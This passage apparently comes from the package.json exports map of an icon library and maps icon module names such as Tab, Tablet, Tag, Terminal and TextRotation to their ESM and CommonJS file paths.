\"./SystemUpdateAltTwoTone.mjs\"\n    },\n    \"./SystemUpdateOutlined\": {\n      \"import\": \"./SystemUpdateOutlined.mjs\",\n      \"require\": \"./SystemUpdateOutlined.js\",\n      \"default\": \"./SystemUpdateOutlined.mjs\"\n    },\n    \"./SystemUpdateRounded\": {\n      \"import\": \"./SystemUpdateRounded.mjs\",\n      \"require\": \"./SystemUpdateRounded.js\",\n      \"default\": \"./SystemUpdateRounded.mjs\"\n    },\n    \"./SystemUpdateSharp\": {\n      \"import\": \"./SystemUpdateSharp.mjs\",\n      \"require\": \"./SystemUpdateSharp.js\",\n      \"default\": \"./SystemUpdateSharp.mjs\"\n    },\n    \"./SystemUpdateTwoTone\": {\n      \"import\": \"./SystemUpdateTwoTone.mjs\",\n      \"require\": \"./SystemUpdateTwoTone.js\",\n      \"default\": \"./SystemUpdateTwoTone.mjs\"\n    },\n    \"./Tab\": {\n      \"import\": \"./Tab.mjs\",\n      \"require\": \"./Tab.js\",\n      \"default\": \"./Tab.mjs\"\n    },\n    \"./TabOutlined\": {\n      \"import\": \"./TabOutlined.mjs\",\n      \"require\": \"./TabOutlined.js\",\n      \"default\": \"./TabOutlined.mjs\"\n    },\n    \"./TabRounded\": {\n      \"import\": \"./TabRounded.mjs\",\n      \"require\": \"./TabRounded.js\",\n      \"default\": \"./TabRounded.mjs\"\n    },\n    \"./TabSharp\": {\n      \"import\": \"./TabSharp.mjs\",\n      \"require\": \"./TabSharp.js\",\n      \"default\": \"./TabSharp.mjs\"\n    },\n    \"./TabTwoTone\": {\n      \"import\": \"./TabTwoTone.mjs\",\n      \"require\": \"./TabTwoTone.js\",\n      \"default\": \"./TabTwoTone.mjs\"\n    },\n    \"./TabUnselected\": {\n      \"import\": \"./TabUnselected.mjs\",\n      \"require\": \"./TabUnselected.js\",\n      \"default\": \"./TabUnselected.mjs\"\n    },\n    \"./TabUnselectedOutlined\": {\n      \"import\": \"./TabUnselectedOutlined.mjs\",\n      \"require\": \"./TabUnselectedOutlined.js\",\n      \"default\": \"./TabUnselectedOutlined.mjs\"\n    },\n    \"./TabUnselectedRounded\": {\n      \"import\": \"./TabUnselectedRounded.mjs\",\n      \"require\": \"./TabUnselectedRounded.js\",\n      \"default\": \"./TabUnselectedRounded.mjs\"\n    },\n    \"./TabUnselectedSharp\": {\n      \"import\": \"./TabUnselectedSharp.mjs\",\n      \"require\": \"./TabUnselectedSharp.js\",\n      \"default\": \"./TabUnselectedSharp.mjs\"\n    },\n    \"./TabUnselectedTwoTone\": {\n      \"import\": \"./TabUnselectedTwoTone.mjs\",\n      \"require\": \"./TabUnselectedTwoTone.js\",\n      \"default\": \"./TabUnselectedTwoTone.mjs\"\n    },\n    \"./TableBar\": {\n      \"import\": \"./TableBar.mjs\",\n      \"require\": \"./TableBar.js\",\n      \"default\": \"./TableBar.mjs\"\n    },\n    \"./TableBarOutlined\": {\n      \"import\": \"./TableBarOutlined.mjs\",\n      \"require\": \"./TableBarOutlined.js\",\n      \"default\": \"./TableBarOutlined.mjs\"\n    },\n    \"./TableBarRounded\": {\n      \"import\": \"./TableBarRounded.mjs\",\n      \"require\": \"./TableBarRounded.js\",\n      \"default\": \"./TableBarRounded.mjs\"\n    },\n    \"./TableBarSharp\": {\n      \"import\": \"./TableBarSharp.mjs\",\n      \"require\": \"./TableBarSharp.js\",\n      \"default\": \"./TableBarSharp.mjs\"\n    },\n    \"./TableBarTwoTone\": {\n      \"import\": \"./TableBarTwoTone.mjs\",\n      \"require\": \"./TableBarTwoTone.js\",\n      \"default\": \"./TableBarTwoTone.mjs\"\n    },\n    \"./TableChart\": {\n      \"import\": \"./TableChart.mjs\",\n      \"require\": \"./TableChart.js\",\n      \"default\": \"./TableChart.mjs\"\n    },\n    \"./TableChartOutlined\": {\n      \"import\": \"./TableChartOutlined.mjs\",\n      \"require\": \"./TableChartOutlined.js\",\n      \"default\": \"./TableChartOutlined.mjs\"\n    },\n    \"./TableChartRounded\": {\n      \"import\": \"./TableChartRounded.mjs\",\n      \"require\": \"./TableChartRounded.js\",\n      \"default\": \"./TableChartRounded.mjs\"\n    },\n    \"./TableChartSharp\": {\n      \"import\": \"./TableChartSharp.mjs\",\n      \"require\": \"./TableChartSharp.js\",\n      \"default\": \"./TableChartSharp.mjs\"\n    },\n    \"./TableChartTwoTone\": {\n      \"import\": \"./TableChartTwoTone.mjs\",\n      \"require\": \"./TableChartTwoTone.js\",\n      \"default\": \"./TableChartTwoTone.mjs\"\n    },\n    \"./TableRestaurant\": {\n      \"import\": \"./TableRestaurant.mjs\",\n      \"require\": \"./TableRestaurant.js\",\n      \"default\": \"./TableRestaurant.mjs\"\n    },\n    \"./TableRestaurantOutlined\": {\n      \"require\": \"./TableRestaurantOutlined.js\",\n      \"import\": \"./TableRestaurantOutlined.mjs\",\n      \"default\": \"./TableRestaurantOutlined.mjs\"\n    },\n    \"./TableRestaurantRounded\": {\n      \"require\": \"./TableRestaurantRounded.js\",\n      \"import\": \"./TableRestaurantRounded.mjs\",\n      \"default\": \"./TableRestaurantRounded.mjs\"\n    },\n    \"./TableRestaurantSharp\": {\n      \"require\": \"./TableRestaurantSharp.js\",\n      \"import\": \"./TableRestaurantSharp.mjs\",\n      \"default\": \"./TableRestaurantSharp.mjs\"\n    },\n    \"./TableRestaurantTwoTone\": {\n      \"require\": \"./TableRestaurantTwoTone.js\",\n      \"import\": \"./TableRestaurantTwoTone.mjs\",\n      \"default\": \"./TableRestaurantTwoTone.mjs\"\n    },\n    \"./TableRows\": {\n      \"import\": \"./TableRows.mjs\",\n      \"require\": \"./TableRows.js\",\n      \"default\": \"./TableRows.mjs\"\n    },\n    \"./TableRowsOutlined\": {\n      \"import\": \"./TableRowsOutlined.mjs\",\n      \"require\": \"./TableRowsOutlined.js\",\n      \"default\": \"./TableRowsOutlined.mjs\"\n    },\n    \"./TableRowsRounded\": {\n      \"import\": \"./TableRowsRounded.mjs\",\n      \"require\": \"./TableRowsRounded.js\",\n      \"default\": \"./TableRowsRounded.mjs\"\n    },\n    \"./TableRowsSharp\": {\n      \"import\": \"./TableRowsSharp.mjs\",\n      \"require\": \"./TableRowsSharp.js\",\n      \"default\": \"./TableRowsSharp.mjs\"\n    },\n    \"./TableRowsTwoTone\": {\n      \"import\": \"./TableRowsTwoTone.mjs\",\n      \"require\": \"./TableRowsTwoTone.js\",\n      \"default\": \"./TableRowsTwoTone.mjs\"\n    },\n    \"./TableView\": {\n      \"import\": \"./TableView.mjs\",\n      \"require\": \"./TableView.js\",\n      \"default\": \"./TableView.mjs\"\n    },\n    \"./TableViewOutlined\": {\n      \"import\": \"./TableViewOutlined.mjs\",\n      \"require\": \"./TableViewOutlined.js\",\n      \"default\": \"./TableViewOutlined.mjs\"\n    },\n    \"./TableViewRounded\": {\n      \"import\": \"./TableViewRounded.mjs\",\n      \"require\": \"./TableViewRounded.js\",\n      \"default\": \"./TableViewRounded.mjs\"\n    },\n    \"./TableViewSharp\": {\n      \"import\": \"./TableViewSharp.mjs\",\n      \"require\": \"./TableViewSharp.js\",\n      \"default\": \"./TableViewSharp.mjs\"\n    },\n    \"./TableViewTwoTone\": {\n      \"import\": \"./TableViewTwoTone.mjs\",\n      \"require\": \"./TableViewTwoTone.js\",\n      \"default\": \"./TableViewTwoTone.mjs\"\n    },\n    \"./Tablet\": {\n      \"import\": \"./Tablet.mjs\",\n      \"require\": \"./Tablet.js\",\n      \"default\": \"./Tablet.mjs\"\n    },\n    \"./TabletAndroid\": {\n      \"import\": \"./TabletAndroid.mjs\",\n      \"require\": \"./TabletAndroid.js\",\n      \"default\": \"./TabletAndroid.mjs\"\n    },\n    \"./TabletAndroidOutlined\": {\n      \"import\": \"./TabletAndroidOutlined.mjs\",\n      \"require\": \"./TabletAndroidOutlined.js\",\n      \"default\": \"./TabletAndroidOutlined.mjs\"\n    },\n    \"./TabletAndroidRounded\": {\n      \"import\": \"./TabletAndroidRounded.mjs\",\n      \"require\": \"./TabletAndroidRounded.js\",\n      \"default\": \"./TabletAndroidRounded.mjs\"\n    },\n    \"./TabletAndroidSharp\": {\n      \"require\": \"./TabletAndroidSharp.js\",\n      \"import\": \"./TabletAndroidSharp.mjs\",\n      \"default\": \"./TabletAndroidSharp.mjs\"\n    },\n    \"./TabletAndroidTwoTone\": {\n      \"require\": \"./TabletAndroidTwoTone.js\",\n      \"import\": \"./TabletAndroidTwoTone.mjs\",\n      \"default\": \"./TabletAndroidTwoTone.mjs\"\n    },\n    \"./TabletMac\": {\n      \"require\": \"./TabletMac.js\",\n      \"import\": \"./TabletMac.mjs\",\n      \"default\": \"./TabletMac.mjs\"\n    },\n    \"./TabletMacOutlined\": {\n      \"require\": \"./TabletMacOutlined.js\",\n      \"import\": \"./TabletMacOutlined.mjs\",\n      \"default\": \"./TabletMacOutlined.mjs\"\n    },\n    \"./TabletMacRounded\": {\n      \"require\": \"./TabletMacRounded.js\",\n      \"import\": \"./TabletMacRounded.mjs\",\n      \"default\": \"./TabletMacRounded.mjs\"\n    },\n    \"./TabletMacSharp\": {\n      \"require\": \"./TabletMacSharp.js\",\n      \"import\": \"./TabletMacSharp.mjs\",\n      \"default\": \"./TabletMacSharp.mjs\"\n    },\n    \"./TabletMacTwoTone\": {\n      \"import\": \"./TabletMacTwoTone.mjs\",\n      \"require\": \"./TabletMacTwoTone.js\",\n      \"default\": \"./TabletMacTwoTone.mjs\"\n    },\n    \"./TabletOutlined\": {\n      \"import\": \"./TabletOutlined.mjs\",\n      \"require\": \"./TabletOutlined.js\",\n      \"default\": \"./TabletOutlined.mjs\"\n    },\n    \"./TabletRounded\": {\n      \"import\": \"./TabletRounded.mjs\",\n      \"require\": \"./TabletRounded.js\",\n      \"default\": \"./TabletRounded.mjs\"\n    },\n    \"./TabletSharp\": {\n      \"require\": \"./TabletSharp.js\",\n      \"import\": \"./TabletSharp.mjs\",\n      \"default\": \"./TabletSharp.mjs\"\n    },\n    \"./TabletTwoTone\": {\n      \"require\": \"./TabletTwoTone.js\",\n      \"import\": \"./TabletTwoTone.mjs\",\n      \"default\": \"./TabletTwoTone.mjs\"\n    },\n    \"./Tag\": {\n      \"require\": \"./Tag.js\",\n      \"import\": \"./Tag.mjs\",\n      \"default\": \"./Tag.mjs\"\n    },\n    \"./TagFaces\": {\n      \"require\": \"./TagFaces.js\",\n      \"import\": \"./TagFaces.mjs\",\n      \"default\": \"./TagFaces.mjs\"\n    },\n    \"./TagFacesOutlined\": {\n      \"require\": \"./TagFacesOutlined.js\",\n      \"import\": \"./TagFacesOutlined.mjs\",\n      \"default\": \"./TagFacesOutlined.mjs\"\n    },\n    \"./TagFacesRounded\": {\n      \"import\": \"./TagFacesRounded.mjs\",\n      \"require\": \"./TagFacesRounded.js\",\n      \"default\": \"./TagFacesRounded.mjs\"\n    },\n    \"./TagFacesSharp\": {\n      \"import\": \"./TagFacesSharp.mjs\",\n      \"require\": \"./TagFacesSharp.js\",\n      \"default\": \"./TagFacesSharp.mjs\"\n    },\n    \"./TagFacesTwoTone\": {\n      \"import\": \"./TagFacesTwoTone.mjs\",\n      \"require\": \"./TagFacesTwoTone.js\",\n      \"default\": \"./TagFacesTwoTone.mjs\"\n    },\n    \"./TagOutlined\": {\n      \"import\": \"./TagOutlined.mjs\",\n      \"require\": \"./TagOutlined.js\",\n      \"default\": \"./TagOutlined.mjs\"\n    },\n    \"./TagRounded\": {\n      \"import\": \"./TagRounded.mjs\",\n      \"require\": \"./TagRounded.js\",\n      \"default\": \"./TagRounded.mjs\"\n    },\n    \"./TagSharp\": {\n      \"require\": \"./TagSharp.js\",\n      \"import\": \"./TagSharp.mjs\",\n      \"default\": \"./TagSharp.mjs\"\n    },\n    \"./TagTwoTone\": {\n      \"require\": \"./TagTwoTone.js\",\n      \"import\": \"./TagTwoTone.mjs\",\n      \"default\": \"./TagTwoTone.mjs\"\n    },\n    \"./TakeoutDining\": {\n      \"import\": \"./TakeoutDining.mjs\",\n      \"require\": \"./TakeoutDining.js\",\n      \"default\": \"./TakeoutDining.mjs\"\n    },\n    \"./TakeoutDiningOutlined\": {\n      \"import\": \"./TakeoutDiningOutlined.mjs\",\n      \"require\": \"./TakeoutDiningOutlined.js\",\n      \"default\": \"./TakeoutDiningOutlined.mjs\"\n    },\n    \"./TakeoutDiningRounded\": {\n      \"import\": \"./TakeoutDiningRounded.mjs\",\n      \"require\": \"./TakeoutDiningRounded.js\",\n      \"default\": \"./TakeoutDiningRounded.mjs\"\n    },\n    \"./TakeoutDiningSharp\": {\n      \"import\": \"./TakeoutDiningSharp.mjs\",\n      \"require\": \"./TakeoutDiningSharp.js\",\n      \"default\": \"./TakeoutDiningSharp.mjs\"\n    },\n    \"./TakeoutDiningTwoTone\": {\n      \"import\": \"./TakeoutDiningTwoTone.mjs\",\n      \"require\": \"./TakeoutDiningTwoTone.js\",\n      \"default\": \"./TakeoutDiningTwoTone.mjs\"\n    },\n    \"./TapAndPlay\": {\n      \"import\": \"./TapAndPlay.mjs\",\n      \"require\": \"./TapAndPlay.js\",\n      \"default\": \"./TapAndPlay.mjs\"\n    },\n    \"./TapAndPlayOutlined\": {\n      \"import\": \"./TapAndPlayOutlined.mjs\",\n      \"require\": \"./TapAndPlayOutlined.js\",\n      \"default\": \"./TapAndPlayOutlined.mjs\"\n    },\n    \"./TapAndPlayRounded\": {\n      \"import\": \"./TapAndPlayRounded.mjs\",\n      \"require\": \"./TapAndPlayRounded.js\",\n      \"default\": \"./TapAndPlayRounded.mjs\"\n    },\n    \"./TapAndPlaySharp\": {\n      \"import\": \"./TapAndPlaySharp.mjs\",\n      \"require\": \"./TapAndPlaySharp.js\",\n      \"default\": \"./TapAndPlaySharp.mjs\"\n    },\n    \"./TapAndPlayTwoTone\": {\n      \"import\": \"./TapAndPlayTwoTone.mjs\",\n      \"require\": \"./TapAndPlayTwoTone.js\",\n      \"default\": \"./TapAndPlayTwoTone.mjs\"\n    },\n    \"./Tapas\": {\n      \"import\": \"./Tapas.mjs\",\n      \"require\": \"./Tapas.js\",\n      \"default\": \"./Tapas.mjs\"\n    },\n    \"./TapasOutlined\": {\n      \"import\": \"./TapasOutlined.mjs\",\n      \"require\": \"./TapasOutlined.js\",\n      \"default\": \"./TapasOutlined.mjs\"\n    },\n    \"./TapasRounded\": {\n      \"import\": \"./TapasRounded.mjs\",\n      \"require\": \"./TapasRounded.js\",\n      \"default\": \"./TapasRounded.mjs\"\n    },\n    \"./TapasSharp\": {\n      \"import\": \"./TapasSharp.mjs\",\n      \"require\": \"./TapasSharp.js\",\n      \"default\": \"./TapasSharp.mjs\"\n    },\n    \"./TapasTwoTone\": {\n      \"import\": \"./TapasTwoTone.mjs\",\n      \"require\": \"./TapasTwoTone.js\",\n      \"default\": \"./TapasTwoTone.mjs\"\n    },\n    \"./Task\": {\n      \"import\": \"./Task.mjs\",\n      \"require\": \"./Task.js\",\n      \"default\": \"./Task.mjs\"\n    },\n    \"./TaskAlt\": {\n      \"import\": \"./TaskAlt.mjs\",\n      \"require\": \"./TaskAlt.js\",\n      \"default\": \"./TaskAlt.mjs\"\n    },\n    \"./TaskAltOutlined\": {\n      \"import\": \"./TaskAltOutlined.mjs\",\n      \"require\": \"./TaskAltOutlined.js\",\n      \"default\": \"./TaskAltOutlined.mjs\"\n    },\n    \"./TaskAltRounded\": {\n      \"import\": \"./TaskAltRounded.mjs\",\n      \"require\": \"./TaskAltRounded.js\",\n      \"default\": \"./TaskAltRounded.mjs\"\n    },\n    \"./TaskAltSharp\": {\n      \"import\": \"./TaskAltSharp.mjs\",\n      \"require\": \"./TaskAltSharp.js\",\n      \"default\": \"./TaskAltSharp.mjs\"\n    },\n    \"./TaskAltTwoTone\": {\n      \"import\": \"./TaskAltTwoTone.mjs\",\n      \"require\": \"./TaskAltTwoTone.js\",\n      \"default\": \"./TaskAltTwoTone.mjs\"\n    },\n    \"./TaskOutlined\": {\n      \"import\": \"./TaskOutlined.mjs\",\n      \"require\": \"./TaskOutlined.js\",\n      \"default\": \"./TaskOutlined.mjs\"\n    },\n    \"./TaskRounded\": {\n      \"import\": \"./TaskRounded.mjs\",\n      \"require\": \"./TaskRounded.js\",\n      \"default\": \"./TaskRounded.mjs\"\n    },\n    \"./TaskSharp\": {\n      \"import\": \"./TaskSharp.mjs\",\n      \"require\": \"./TaskSharp.js\",\n      \"default\": \"./TaskSharp.mjs\"\n    },\n    \"./TaskTwoTone\": {\n      \"import\": \"./TaskTwoTone.mjs\",\n      \"require\": \"./TaskTwoTone.js\",\n      \"default\": \"./TaskTwoTone.mjs\"\n    },\n    \"./TaxiAlert\": {\n      \"import\": \"./TaxiAlert.mjs\",\n      \"require\": \"./TaxiAlert.js\",\n      \"default\": \"./TaxiAlert.mjs\"\n    },\n    \"./TaxiAlertOutlined\": {\n      \"import\": \"./TaxiAlertOutlined.mjs\",\n      \"require\": \"./TaxiAlertOutlined.js\",\n      \"default\": \"./TaxiAlertOutlined.mjs\"\n    },\n    \"./TaxiAlertRounded\": {\n      \"import\": \"./TaxiAlertRounded.mjs\",\n      \"require\": \"./TaxiAlertRounded.js\",\n      \"default\": \"./TaxiAlertRounded.mjs\"\n    },\n    \"./TaxiAlertSharp\": {\n      \"import\": \"./TaxiAlertSharp.mjs\",\n      \"require\": \"./TaxiAlertSharp.js\",\n      \"default\": \"./TaxiAlertSharp.mjs\"\n    },\n    \"./TaxiAlertTwoTone\": {\n      \"import\": \"./TaxiAlertTwoTone.mjs\",\n      \"require\": \"./TaxiAlertTwoTone.js\",\n      \"default\": \"./TaxiAlertTwoTone.mjs\"\n    },\n    \"./Telegram\": {\n      \"import\": \"./Telegram.mjs\",\n      \"require\": \"./Telegram.js\",\n      \"default\": \"./Telegram.mjs\"\n    },\n    \"./TempleBuddhist\": {\n      \"import\": \"./TempleBuddhist.mjs\",\n      \"require\": \"./TempleBuddhist.js\",\n      \"default\": \"./TempleBuddhist.mjs\"\n    },\n    \"./TempleBuddhistOutlined\": {\n      \"import\": \"./TempleBuddhistOutlined.mjs\",\n      \"require\": \"./TempleBuddhistOutlined.js\",\n      \"default\": \"./TempleBuddhistOutlined.mjs\"\n    },\n    \"./TempleBuddhistRounded\": {\n      \"import\": \"./TempleBuddhistRounded.mjs\",\n      \"require\": \"./TempleBuddhistRounded.js\",\n      \"default\": \"./TempleBuddhistRounded.mjs\"\n    },\n    \"./TempleBuddhistSharp\": {\n      \"import\": \"./TempleBuddhistSharp.mjs\",\n      \"require\": \"./TempleBuddhistSharp.js\",\n      \"default\": \"./TempleBuddhistSharp.mjs\"\n    },\n    \"./TempleBuddhistTwoTone\": {\n      \"import\": \"./TempleBuddhistTwoTone.mjs\",\n      \"require\": \"./TempleBuddhistTwoTone.js\",\n      \"default\": \"./TempleBuddhistTwoTone.mjs\"\n    },\n    \"./TempleHindu\": {\n      \"require\": \"./TempleHindu.js\",\n      \"import\": \"./TempleHindu.mjs\",\n      \"default\": \"./TempleHindu.mjs\"\n    },\n    \"./TempleHinduOutlined\": {\n      \"require\": \"./TempleHinduOutlined.js\",\n      \"import\": \"./TempleHinduOutlined.mjs\",\n      \"default\": \"./TempleHinduOutlined.mjs\"\n    },\n    \"./TempleHinduRounded\": {\n      \"require\": \"./TempleHinduRounded.js\",\n      \"import\": \"./TempleHinduRounded.mjs\",\n      \"default\": \"./TempleHinduRounded.mjs\"\n    },\n    \"./TempleHinduSharp\": {\n      \"require\": \"./TempleHinduSharp.js\",\n      \"import\": \"./TempleHinduSharp.mjs\",\n      \"default\": \"./TempleHinduSharp.mjs\"\n    },\n    \"./TempleHinduTwoTone\": {\n      \"require\": \"./TempleHinduTwoTone.js\",\n      \"import\": \"./TempleHinduTwoTone.mjs\",\n      \"default\": \"./TempleHinduTwoTone.mjs\"\n    },\n    \"./TenMp\": {\n      \"require\": \"./TenMp.js\",\n      \"import\": \"./TenMp.mjs\",\n      \"default\": \"./TenMp.mjs\"\n    },\n    \"./TenMpOutlined\": {\n      \"require\": \"./TenMpOutlined.js\",\n      \"import\": \"./TenMpOutlined.mjs\",\n      \"default\": \"./TenMpOutlined.mjs\"\n    },\n    \"./TenMpRounded\": {\n      \"require\": \"./TenMpRounded.js\",\n      \"import\": \"./TenMpRounded.mjs\",\n      \"default\": \"./TenMpRounded.mjs\"\n    },\n    \"./TenMpSharp\": {\n      \"require\": \"./TenMpSharp.js\",\n      \"import\": \"./TenMpSharp.mjs\",\n      \"default\": \"./TenMpSharp.mjs\"\n    },\n    \"./TenMpTwoTone\": {\n      \"require\": \"./TenMpTwoTone.js\",\n      \"import\": \"./TenMpTwoTone.mjs\",\n      \"default\": \"./TenMpTwoTone.mjs\"\n    },\n    \"./Terminal\": {\n      \"require\": \"./Terminal.js\",\n      \"import\": \"./Terminal.mjs\",\n      \"default\": \"./Terminal.mjs\"\n    },\n    \"./TerminalOutlined\": {\n      \"require\": \"./TerminalOutlined.js\",\n      \"import\": \"./TerminalOutlined.mjs\",\n      \"default\": \"./TerminalOutlined.mjs\"\n    },\n    \"./TerminalRounded\": {\n      \"require\": \"./TerminalRounded.js\",\n      \"import\": \"./TerminalRounded.mjs\",\n      \"default\": \"./TerminalRounded.mjs\"\n    },\n    \"./TerminalSharp\": {\n      \"require\": \"./TerminalSharp.js\",\n      \"import\": \"./TerminalSharp.mjs\",\n      \"default\": \"./TerminalSharp.mjs\"\n    },\n    \"./TerminalTwoTone\": {\n      \"require\": \"./TerminalTwoTone.js\",\n      \"import\": \"./TerminalTwoTone.mjs\",\n      \"default\": \"./TerminalTwoTone.mjs\"\n    },\n    \"./Terrain\": {\n      \"require\": \"./Terrain.js\",\n      \"import\": \"./Terrain.mjs\",\n      \"default\": \"./Terrain.mjs\"\n    },\n    \"./TerrainOutlined\": {\n      \"require\": \"./TerrainOutlined.js\",\n      \"import\": \"./TerrainOutlined.mjs\",\n      \"default\": \"./TerrainOutlined.mjs\"\n    },\n    \"./TerrainRounded\": {\n      \"require\": \"./TerrainRounded.js\",\n      \"import\": \"./TerrainRounded.mjs\",\n      \"default\": \"./TerrainRounded.mjs\"\n    },\n    \"./TerrainSharp\": {\n      \"require\": \"./TerrainSharp.js\",\n      \"import\": \"./TerrainSharp.mjs\",\n      \"default\": \"./TerrainSharp.mjs\"\n    },\n    \"./TerrainTwoTone\": {\n      \"require\": \"./TerrainTwoTone.js\",\n      \"import\": \"./TerrainTwoTone.mjs\",\n      \"default\": \"./TerrainTwoTone.mjs\"\n    },\n    \"./TextDecrease\": {\n      \"require\": \"./TextDecrease.js\",\n      \"import\": \"./TextDecrease.mjs\",\n      \"default\": \"./TextDecrease.mjs\"\n    },\n    \"./TextDecreaseOutlined\": {\n      \"import\": \"./TextDecreaseOutlined.mjs\",\n      \"require\": \"./TextDecreaseOutlined.js\",\n      \"default\": \"./TextDecreaseOutlined.mjs\"\n    },\n    \"./TextDecreaseRounded\": {\n      \"import\": \"./TextDecreaseRounded.mjs\",\n      \"require\": \"./TextDecreaseRounded.js\",\n      \"default\": \"./TextDecreaseRounded.mjs\"\n    },\n    \"./TextDecreaseSharp\": {\n      \"import\": \"./TextDecreaseSharp.mjs\",\n      \"require\": \"./TextDecreaseSharp.js\",\n      \"default\": \"./TextDecreaseSharp.mjs\"\n    },\n    \"./TextDecreaseTwoTone\": {\n      \"import\": \"./TextDecreaseTwoTone.mjs\",\n      \"require\": \"./TextDecreaseTwoTone.js\",\n      \"default\": \"./TextDecreaseTwoTone.mjs\"\n    },\n    \"./TextFields\": {\n      \"import\": \"./TextFields.mjs\",\n      \"require\": \"./TextFields.js\",\n      \"default\": \"./TextFields.mjs\"\n    },\n    \"./TextFieldsOutlined\": {\n      \"import\": \"./TextFieldsOutlined.mjs\",\n      \"require\": \"./TextFieldsOutlined.js\",\n      \"default\": \"./TextFieldsOutlined.mjs\"\n    },\n    \"./TextFieldsRounded\": {\n      \"import\": \"./TextFieldsRounded.mjs\",\n      \"require\": \"./TextFieldsRounded.js\",\n      \"default\": \"./TextFieldsRounded.mjs\"\n    },\n    \"./TextFieldsSharp\": {\n      \"import\": \"./TextFieldsSharp.mjs\",\n      \"require\": \"./TextFieldsSharp.js\",\n      \"default\": \"./TextFieldsSharp.mjs\"\n    },\n    \"./TextFieldsTwoTone\": {\n      \"import\": \"./TextFieldsTwoTone.mjs\",\n      \"require\": \"./TextFieldsTwoTone.js\",\n      \"default\": \"./TextFieldsTwoTone.mjs\"\n    },\n    \"./TextFormat\": {\n      \"import\": \"./TextFormat.mjs\",\n      \"require\": \"./TextFormat.js\",\n      \"default\": \"./TextFormat.mjs\"\n    },\n    \"./TextFormatOutlined\": {\n      \"import\": \"./TextFormatOutlined.mjs\",\n      \"require\": \"./TextFormatOutlined.js\",\n      \"default\": \"./TextFormatOutlined.mjs\"\n    },\n    \"./TextFormatRounded\": {\n      \"import\": \"./TextFormatRounded.mjs\",\n      \"require\": \"./TextFormatRounded.js\",\n      \"default\": \"./TextFormatRounded.mjs\"\n    },\n    \"./TextFormatSharp\": {\n      \"import\": \"./TextFormatSharp.mjs\",\n      \"require\": \"./TextFormatSharp.js\",\n      \"default\": \"./TextFormatSharp.mjs\"\n    },\n    \"./TextFormatTwoTone\": {\n      \"import\": \"./TextFormatTwoTone.mjs\",\n      \"require\": \"./TextFormatTwoTone.js\",\n      \"default\": \"./TextFormatTwoTone.mjs\"\n    },\n    \"./TextIncrease\": {\n      \"import\": \"./TextIncrease.mjs\",\n      \"require\": \"./TextIncrease.js\",\n      \"default\": \"./TextIncrease.mjs\"\n    },\n    \"./TextIncreaseOutlined\": {\n      \"import\": \"./TextIncreaseOutlined.mjs\",\n      \"require\": \"./TextIncreaseOutlined.js\",\n      \"default\": \"./TextIncreaseOutlined.mjs\"\n    },\n    \"./TextIncreaseRounded\": {\n      \"import\": \"./TextIncreaseRounded.mjs\",\n      \"require\": \"./TextIncreaseRounded.js\",\n      \"default\": \"./TextIncreaseRounded.mjs\"\n    },\n    \"./TextIncreaseSharp\": {\n      \"import\": \"./TextIncreaseSharp.mjs\",\n      \"require\": \"./TextIncreaseSharp.js\",\n      \"default\": \"./TextIncreaseSharp.mjs\"\n    },\n    \"./TextIncreaseTwoTone\": {\n      \"import\": \"./TextIncreaseTwoTone.mjs\",\n      \"require\": \"./TextIncreaseTwoTone.js\",\n      \"default\": \"./TextIncreaseTwoTone.mjs\"\n    },\n    \"./TextRotateUp\": {\n      \"import\": \"./TextRotateUp.mjs\",\n      \"require\": \"./TextRotateUp.js\",\n      \"default\": \"./TextRotateUp.mjs\"\n    },\n    \"./TextRotateUpOutlined\": {\n      \"import\": \"./TextRotateUpOutlined.mjs\",\n      \"require\": \"./TextRotateUpOutlined.js\",\n      \"default\": \"./TextRotateUpOutlined.mjs\"\n    },\n    \"./TextRotateUpRounded\": {\n      \"import\": \"./TextRotateUpRounded.mjs\",\n      \"require\": \"./TextRotateUpRounded.js\",\n      \"default\": \"./TextRotateUpRounded.mjs\"\n    },\n    \"./TextRotateUpSharp\": {\n      \"import\": \"./TextRotateUpSharp.mjs\",\n      \"require\": \"./TextRotateUpSharp.js\",\n      \"default\": \"./TextRotateUpSharp.mjs\"\n    },\n    \"./TextRotateUpTwoTone\": {\n      \"import\": \"./TextRotateUpTwoTone.mjs\",\n      \"require\": \"./TextRotateUpTwoTone.js\",\n      \"default\": \"./TextRotateUpTwoTone.mjs\"\n    },\n    \"./TextRotateVertical\": {\n      \"import\": \"./TextRotateVertical.mjs\",\n      \"require\": \"./TextRotateVertical.js\",\n      \"default\": \"./TextRotateVertical.mjs\"\n    },\n    \"./TextRotateVerticalOutlined\": {\n      \"import\": \"./TextRotateVerticalOutlined.mjs\",\n      \"require\": \"./TextRotateVerticalOutlined.js\",\n      \"default\": \"./TextRotateVerticalOutlined.mjs\"\n    },\n    \"./TextRotateVerticalRounded\": {\n      \"import\": \"./TextRotateVerticalRounded.mjs\",\n      \"require\": \"./TextRotateVerticalRounded.js\",\n      \"default\": \"./TextRotateVerticalRounded.mjs\"\n    },\n    \"./TextRotateVerticalSharp\": {\n      \"import\": \"./TextRotateVerticalSharp.mjs\",\n      \"require\": \"./TextRotateVerticalSharp.js\",\n      \"default\": \"./TextRotateVerticalSharp.mjs\"\n    },\n    \"./TextRotateVerticalTwoTone\": {\n      \"import\": \"./TextRotateVerticalTwoTone.mjs\",\n      \"require\": \"./TextRotateVerticalTwoTone.js\",\n      \"default\": \"./TextRotateVerticalTwoTone.mjs\"\n    },\n    \"./TextRotationAngledown\": {\n      \"import\": \"./TextRotationAngledown.mjs\",\n      \"require\": \"./TextRotationAngledown.js\",\n      \"default\": \"./TextRotationAngledown.mjs\"\n    },\n    \"./TextRotationAngledownOutlined\": {\n      \"require\": \"./TextRotationAngledownOutlined.js\",\n      \"import\": \"./TextRotationAngledownOutlined.mjs\",\n      \"default\": \"./TextRotationAngledownOutlined.mjs\"\n    },\n    \"./TextRotationAngledownRounded\": {\n      \"require\": \"./TextRotationAngledownRounded.js\",\n      \"import\": \"./TextRotationAngledownRounded.mjs\",\n      \"default\": \"./TextRotationAngledownRounded.mjs\"\n    },\n    \"./TextRotationAngledownSharp\": {\n      \"require\": \"./TextRotationAngledownSharp.js\",\n      \"import\": \"./TextRotationAngledownSharp.mjs\",\n      \"default\": \"./TextRotationAngledownSharp.mjs\"\n    },\n    \"./TextRotationAngledownTwoTone\": {\n      \"require\": \"./TextRotationAngledownTwoTone.js\",\n      \"import\": \"./TextRotationAngledownTwoTone.mjs\",\n      \"default\": \"./TextRotationAngledownTwoTone.mjs\"\n    },\n    \"./TextRotationAngleup\": {\n      \"require\": \"./TextRotationAngleup.js\",\n      \"import\": \"./TextRotationAngleup.mjs\",\n      \"default\": \"./TextRotationAngleup.mjs\"\n    },\n    